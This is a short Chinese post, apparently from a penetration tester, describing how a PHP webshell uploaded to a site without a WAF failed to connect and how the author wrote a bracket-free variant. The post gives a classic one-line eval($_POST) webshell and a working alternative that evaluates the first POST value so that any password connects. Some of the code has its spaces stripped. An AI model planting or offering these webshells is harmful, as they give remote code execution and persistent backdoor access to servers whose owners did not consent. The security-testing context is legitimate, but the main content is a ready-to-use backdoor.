前段时间做测试时候研究出来的,忘记截图了。

当时的环境是没waf,上传了一个php的webshell,但是连接时提示[]有问题,当时用的是传统的一句话

<?phpeval($_POST['xxx']);?>

测试了一会,还是不行,尝试使用了另一个php文件,看看是不是网站解析有问题

<?phpphpinfo();?>

是可以正常显示的,那么问题点在post数组中括号出了问题,所以需要一个不使用中括号的webshell,研究了一会写出了以下的webshell,不需要中括号,任意密码即可连接

<?$code='';foreach($_POSTas$a){$code=$a;//取出post数组第一个值break;//直接跳出循环}eval($code);//执行了第一个post数组的值?>

任意密码连接


错误之处,敬请指正